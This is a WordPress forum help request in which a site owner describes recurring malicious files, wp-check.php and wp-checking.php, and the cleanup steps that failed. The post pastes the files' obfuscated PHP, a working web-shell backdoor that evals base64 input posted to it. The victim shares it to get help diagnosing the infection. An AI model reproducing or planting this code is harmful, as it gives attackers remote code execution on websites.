My WordPress infected with malware?
-
Website: https://comics.cevamarunt.ro/
Over the last month I found out my WordPress installations have been altered by using PHP files that look like WordPress files.
The 2 that I found are called “wp-check.php” and “wp-checking.php”. They show up in all my wordpress sites.I know this is malware because Google marks it as infected when it scans it.
The reason I was able to pinpoint them is the fact that I have several other domains hosted on the same server (no sites, so empty public_html folders) and those 2 files were actually pushed into those empty folders as well.
They both have a similar PHP code inside:
<?php $a = chr(112)./*1*/chr(114).chr(101)./*1*/chr(103).chr(95).chr(114).chr(101).chr(112).chr(108).chr(97).chr(99).chr(101); $c = chr(98).chr(97).chr(115)./*1*/chr(101).chr(54).chr(52)/*1*/.chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);$b = "ZX"."Zh"."bCh"."iYXN"."lNjRfZ"."GVj"."b2RlK"."CRfU"."E9TVF"."snei"."ddKSk7";$a(chr(47).chr(52).chr(51).chr(56).chr(47).chr(101),$c($b),chr(52).chr(51).chr(56));I’m pretty sure this is malware.
I’ve tried the following without success:- deleting the files. they show up again
- editing the files, and just erasing the code inside. wp-check.php works, it no longer gets the malicious code inside, but the other one is updated to it’s old version again (I’ve also changed the file permission to read-only but that didn’t help at all)
- I’ve erased all my files, and databases, and reinstalled everything from a backup which didn’t have the files, but they showed up again, so it’s either an issue with the hosting company or my backups were already compromised
- after the clean restore, I’ve installed several anti-virus and malware detection plugins, scanned the websites thoroughly, and activated all sorts of protection measures (IP blocking on consecutive attempts to access files that don’t exist, blocking on brute force login attempts, changed the admin username to a custom one and erased the default admin account, erased all FTP accounts, changed passwords everywhere)
Protections plugins I’m currently using (and which can’t find anything wrong with the website)
- The topic ‘My WordPress infected with malware?’ is closed to new replies.